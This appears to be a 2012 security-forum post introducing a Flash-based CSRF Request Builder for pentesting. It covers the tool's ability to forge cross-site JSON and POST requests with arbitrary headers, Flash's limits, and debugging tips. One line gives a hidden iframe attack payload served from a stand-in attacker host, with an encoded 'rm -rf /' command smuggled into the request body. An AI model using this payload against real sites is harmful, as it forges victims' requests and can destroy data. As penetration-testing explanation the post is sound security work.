05-23-2012, 05:21 PM #1
- Join Date
- Jul 2010
- Blog Entries
- Thanked 106 Times in 56 Posts
This is a tool for testing CSRF against web services. This is a complete test in that it can be used to create PoC exploits to exploit real victims and real systems in a real world scenario. After all if it didn't work in the real world it wouldn't be a useful test.
Why is is this tool needed?
It is posible to use HTML/JS to perform a valid JSON request using parameter padding (Open Security Research: JSON CSRF with Parameter Padding), however while on a recent pentest the application I was testing was checking that incoming requests had a content-type of application/json. Well as far as I know only Flash can do this. Flash has the unique ability to set arbitrary headers, including setting the content-type to an arbitrary value. Flash can also set the body of the HTTP request to an arbitrary value.
Limitations of flash:
A content-type of "multipart/form-data" is forbidden, which means “cross-site file upload” exploits like this: Simple Directory Listing 2 Cross Site File Upload Vulnerability no longer work. There are also a number of HTTP headers that are off limits: flash.net.URLRequestHeader - ActionScript® 3.0 Reference for the Adobe® Flash® Platform. But this is blacklist, not a whitelist approach, so this tool is able to set strange http headers used by a target system. Such as “are-you-a-hacker: nope!”. This tool can only send GET and POST requests. Unfortunately Flash cannot set PUT or DELETE requests, as these HTTP methods are off-limits for cross-site requests.
You just need the csrf.swf and csrf_payload.html files. You can run it locally using the file:// URI, or you can use this copy which was uploaded to pastebin.com and swfcabin.com:
The body, url and all http header elements of the request are assumed to be urlencoded and are passed though unescape() before being set. If you where testing a traditional POST CSRF request from your local system it would look like this:
In a real world attack scenario this would be placed into an iframe and originate from https. It is useful for CSRF attacks to originate from HTTP because the referer will be omitted from the victim’s request.
<iframe width=0 height=0 src="https://some-attacker/csrf_payload.html#url=http://google.com&body=action%3Drun%26command%3Drm+-rf+%2F"></iframe>
But you could make a request like that with just HTML/JS. Here is a very simple JSON POST HTTP request:
Notes on debugging:
A good method of debugging protocol interactions is load up wireshark. Make the request with the original client, and save that request to a file. Try and recreate that request using the CSRF Request Builder and save that request to a file. Then use a diff tool like meld to compare both of the requests. Try and make them as identical as possible and hopefully the CSRF PoC will work for you.
Project Home- https://github.com/TheRook/CSRF-Request-BuilderThe three great essentials to achieve anything worth while are: Hard work, Stick-to-itiveness, and Common sense. - Thomas A. Edison
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.